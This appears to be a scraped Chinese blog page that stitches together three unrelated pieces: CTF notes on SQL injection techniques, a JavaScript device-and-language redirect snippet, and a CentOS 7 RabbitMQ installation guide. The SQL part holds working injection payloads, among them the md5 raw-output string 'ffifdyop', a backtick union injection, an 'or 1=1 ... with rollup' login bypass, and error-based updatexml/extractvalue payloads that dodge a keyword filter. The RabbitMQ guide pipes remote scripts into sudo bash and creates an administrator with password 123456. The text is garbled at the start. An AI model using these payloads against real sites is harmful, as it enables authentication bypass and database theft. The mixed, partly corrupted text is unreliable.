$sql = “select * from users where username=\”. admin\ .’\’ and password=\”. or 1 # .’\'”;

 

md5加密后的的SQL注入:
$sql = “SELECT * FROM admin WHERE pass = ‘”.md5($password,true).”‘”;

思路比较明确,当md5后的hex转换成字符串后,如果包含’or'<trash>这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ”or’6<trash>’

很明显可以注入了。

难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:’or’6<trash>

 

sql注入之反引号注入:
mysqli_query($mysqli,”desc `secret_{$table}`”) or Hacker();
$sql = “select ‘flag{xxx}’ from secret_{$table}”;

反引号一般在Esc键的下方,和~在一起。它是为了区分MySQL的保留字与普通字符而引入的符号
create table desc 报错
create table `desc` 成功
一般我们建表时都会将表名,库名都加上反引号来保证语句的执行度。
table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

 

sql注入之先查询用户,在比较密码

$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}'”;  //查询uname
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {  //限制查询只有一条
$key = mysql_fetch_array($query);
if($key[‘pwd’] == $_POST[‘pwd’]) {    //传入的pwd要符合数据库里的pwd
print “CTF{XXXXXX}”;
}else{
print “亦可赛艇!”;
}
}else{
print “一颗赛艇!”;
}

 

使用rollup技巧来绕过:
在sql命令行里:
select uname,pwd from test group by pwd with rollup;
+————–+——-+
| uname        | pwd   |
+————–+——-+
| 123          | 123   |
| 123          | NULL  |
+————–+——-+
rollup作用:在查询结果中多增加一行,而且他的的pwd的值为null。
传参$_POST[pwd]的值为空时,$key[‘pwd’] == $_POST[‘pwd’]满足

在此之前我们还有一个条件要满足`mysql_num_rows($query) == 1`,我们要选择pass为NULL的单独的这一条记录。
从源码分析可得,过滤了逗号,我们不能简单的使用`limit 1,1`这样的语法,而是可以使用`limit 1 offset 1`。就本地环境而言,比如
select uname,pwd from test group by pwd with rollup limit 1 offset 2;
+————–+——-+
| uname        | pwd   |
+————–+——-+
| 123          | NULL  |
+————–+——-+

$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}'”;

payload: uname = ‘ or 1=1 group by pwd with rollup limit 1 offset 2 #
pwd = 空

$sql=”SELECT * FROM interest WHERE uname = ‘{ ‘ or 1=1 group by pwd with rollup limit 1 offset 2 # }'”;

正则绕过preg_match(“/\b(select|insert|update|delete)\b/i”,$message)之SQL注入

if(preg_match(“/\b(select|insert|update|delete)\b/i”,$message)){

die(“hello,sangebaimao!”);

}

/*!*/只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释

$sql=”insert guestbook(`message`) value(‘$message’);”;

payload:
updatexml:
?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
extractvalue:
?message=aaa\x27 and extractvalue(0,concat(0x27,(/*!00000select database()*/))) %23
exp:
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23
————————————————
版权声明:本文为CSDN博主「南人旧心1906」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_42133828/article/details/88765846

js通过浏览器语言 设备跳转指定页面

//移动设备访问跳转

(function(){
var pathname = window.location.pathname;
pathnameobj = pathname.split(‘/’);
filename=pathnameobj[pathnameobj.length – 1];
// alert(filename);

var language=(navigator.browserLanguage || navigator.language).toLowerCase()
var ua=navigator.userAgent.toLowerCase();

var bIsIpad = ua.match(/ipad/i) == “ipad”;
var bIsIphoneOs = ua.match(/iphone os/i) == “iphone os”;
var bIsMidp = ua.match(/midp/i) == “midp”;
var bIsUc7 = ua.match(/rv:1.2.3.4/i) == “rv:1.2.3.4”;
var bIsUc = ua.match(/ucweb/i) == “ucweb”;
var bIsAndroid = ua.match(/android/i) == “android”;
var bIsCE = ua.match(/windows ce/i) == “windows ce”;
var bIsWM = ua.match(/windows mobile/i) == “windows mobile”;
//移动端
if(bIsIpad||bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM){
if(language.indexOf(‘zh’) > -1){
if(filename!=’m_index.html’)window.location.href = “m_index.html”;
}else{
if(filename!=’m_index_en.html’)window.location.href = “m_index_en.html”;
}
}
else//PC端
{
if(language.indexOf(‘zh’) > -1){
if(filename!=’index.html’)window.location.href = “index.html”;
}else{
if(filename!=’index_en.html’)window.location.href = “index_en.html”;
}
}

})();

CentOS7安装RabbitMQ

创建erlang.repo库

curl -s https://packagecloud.io/install/repositories/rabbitmq/erlang/script.rpm.sh | sudo bash

安装erlang

yum install erlang

创建rabbitmq-server.repo库

curl -s https://packagecloud.io/install/repositories/rabbitmq/rabbitmq-server/script.rpm.sh | sudo bash

安装rabbitmq-server

yum install rabbitmq-server

设置开机启动

chkconfig rabbitmq-server on

启动rabbitmq服务

service rabbitmq-server start

image

启用管理后台

rabbitmq-plugins enable rabbitmq_management

添加用户

rabbitmqctl add_user test 123456

配置用户权限

rabbitmqctl set_user_tags test administrator
rabbitmqctl set_permissions -p "/" test ".*" ".*" ".*"

通过浏览器访问管理后台

image

image

停止rabbitmq服务

service rabbitmq-server stop

 

 

https://cloud.tencent.com/developer/article/1447179